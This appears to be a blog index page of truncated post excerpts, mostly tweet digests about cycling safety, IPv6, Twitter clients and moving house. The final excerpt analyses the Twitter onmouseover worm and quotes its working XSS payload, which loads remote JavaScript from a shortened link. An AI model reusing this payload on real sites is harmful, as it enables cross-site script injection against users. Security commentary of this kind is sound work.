Dropsafe

re: http://bbc.in/cEuaj9 – I find "innit?" less annoying if I think of it as "n'est-pas?" – maybe Brit yoof can try "neppa? too… # If you want to play with #TahoeLAFS you'd better download it now, before the upcoming BoingBoing posting 🙂 http://bit.ly/9yj5vJ # OF COURSE the 35-44 bracket are unhappy: baby boomers stole all…

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I swear, another 6 weeks of this and I'll be the world's greatest expert at "living on top of yourself"; boxes everywhere… # @caalie possibly… 🙂 in reply to caalie # Oops. RT @webmink: Key Solaris ZFS developer Jeff Bonwick quits Oracle: http://icio.us/htlcfv # Turns out the Weather Balloon transponder which dropped on a neighbour's…

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I'm an ex-#biker who had a huge crash; I'm an avid #cyclist pedestrian. Yet I _hate_ "Brake, the Road Safety Charity" http://goo.gl/tT9A # Amusing turn of phrase: http://bit.ly/a2kNIX Royal Mail … provide cycle helmets to [posties, but] CWU has reported 70% non-*compliance* # @pauljakma Oh, fantastic… 🙂 in reply to pauljakma # RT @pauljakma:1.4 injuries/1k…

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I do wonder whether one reason IPv6 has't yet been adopted is – aside from notation usability – an attempt to build 'artificial scarcity'? # @pauljakma You're gonna hate me, but I think it's actually the addressing scheme and notation. in reply to pauljakma # @pauljakma rfc2373 §2.3 ; not fun if you're reconstructing a…

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Can't find the "Follow" button on the #NewTwitter website. Help? # For some reason @2600 was lacking a Follow button? http://twitpic.com/2rrtas # @bulletford Somehow that makes me think of Trumpton. I blame HMHB. in reply to bulletford # @FredAvolio That's the flip side of the mirror; Winter is a necessary & regrettable season, but Orion…

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‘Quit your whining you egotistical, talentless moron. Sent from Mark Thompson’s iphone’ http://goo.gl/KZ2x # Update: the short version is 'yes'. Yay for new oppty and thanks to Simon and Mike. More later. # With the crack of the boiler's sparking-on I'm awake and downstairs and the full moon and the ash sky and Orion outside,…

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If you're a Feynmanologist (Feynatic?) you probably read about this and never looked it up http://bit.ly/beLTYw #feynman # @lskrocki When we do F&C we should grab @webmink and a few others, book a table… in reply to lskrocki # @alecmuffett Make sure to click through to the linked page: http://bit.ly/cfX6nv #feynman in reply to alecmuffett…

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@richmarr Agreed – the #Android #Twitter client is better than Twidroid for use of full screen, but a nightmare to navigate with mini links in reply to richmarr # argh. doorbell goes, jehovah's witnesses, not flooring contractor. # i think i may have created the world's most contrived pun. for real. # New: Worst pun…

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alecm: how’s the house? are you posting photos anywhere? chris: the house is good chris: no photos of it at all recently I’m afraid chris: garden needs a lot of work chris: or rather even more work than it’s getting at the moment! chris: we have bees and 2 ducks (not near each other of…

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Read: Cycling, Safety & Sharing the Road: Qualitative Research with Cyclists & other Road Users http://goo.gl/XTEH # @alecmuffett Wow – cut and paste out of a PDF can really mess up Twitter. in reply to alecmuffett # The joy of Wikipedia is that content is transient but edits are forever: http://bit.ly/bQbEhh # Wonderful article –…

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Graham Cluley is wryly blaming the new digg.com for the face that he only got 4 [now 10, 7 hours later] diggs for his coverage of the Twitter Worm; the thing is that even as he wrote that the story was already over. Look at this graph: …to a first approximation that is the entire…

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15:56 Update – Cleaned-up Version About 1345 my friend Jon Katz tweeted: http://t.co/@”style=”font-size:999999999999px;”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7’)”/ From experience this was clearly something malicious; it looked like Twitter was enabling data to be passed as an argument to the shortened link, so that it would somehow be embedded into a webpage and acted-on as JavaScript code. In this case…

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